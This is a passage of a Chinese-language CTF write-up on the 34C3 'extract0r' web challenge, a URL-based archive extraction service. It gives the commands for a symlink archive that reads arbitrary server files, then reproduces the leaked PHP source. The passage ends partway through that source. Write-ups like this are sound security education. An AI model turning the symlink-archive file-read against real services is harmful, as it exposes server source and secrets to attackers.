前言
虽然比赛过程中没做出来,结束后仔细研究了一下。感觉很有意思,分享给大家。再次体会到重要的不是结果,而是研究的过程。
题目简介
34c3CTF web中的extract0r。
题中的目是一个安全解压服务,用户输入zip的url地址,程序对url进行合法性校验后会下载该zip,然后为用户创建一个目录,把文件解压进去
0x00 任意文件读取
经过测试,发现输入的域名中不能含有数字,并且压缩文件中不能含有目录,解压后的目录不解析php。通过上传一个含有符号链接文件的压缩包,可以达到任意文件读取的效果。ln -s ../index.php test_link
7za a -t7z -r test.7z test
上传后访问test_link得到源代码
index.php (html部分已删去)<?php
session_start();
url.php
function get_directory($new=false) {
if (!isset($_SESSION["directory"]) || $new) {
$_SESSION["directory"] = "files/" . sha1(random_bytes(100));
}
$directory = $_SESSION["directory"];
if (!is_dir($directory)) {
mkdir($directory);
}
return $directory;
}
function clear_directory() {
$dir = get_directory();
$files = glob($dir . '/*');
foreach($files as $file) {
if(is_file($file) || is_link($file)) {
unlink($file);
} else if (is_dir($file)) {
rmdir($file);
}
}
}
function verify_archive($path) {
$res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
$line = strtok($res, "\n");
$file_cnt = 0;
$total_size = 0;
while ($line !== false) {
preg_match("/^Size = ([0-9]+)/", $line, $m);
if ($m) {
$file_cnt++;
$total_size += (int)$m[1];
}
$line = strtok( "\n" );
}
if ($total_size === 0) {
return "Archive's size 0 not supported";
}
if ($total_size > 1024*10) {
return "Archive's total uncompressed size exceeds 10KB";
}
if ($file_cnt === 0) {
return "Archive is empty";
}
if ($file_cnt > 5) {
return "Archive contains more than 5 files";
}
return 0;
}
function verify_extracted($directory) {
//遍历解压后的目录下的所有文件
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
//如果不是文件就删除
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}
function decompress($s) {
$directory = get_directory(true);
$archive = tempnam("/tmp/", "archive_");
file_put_contents($archive, $s);
$error = verify_archive($archive);
if ($error) {
unlink($archive);
error($error);
}
shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
unlink($archive);
return verify_extracted($directory);
}
function error($s) {
clear_directory();
die("
ERROR
" . htmlspecialchars($s));}
$msg = "";
if (isset($_GET["url"])) {
$page = get_contents($_GET["url"]);
if (strlen($page) === 0) {
error("0 by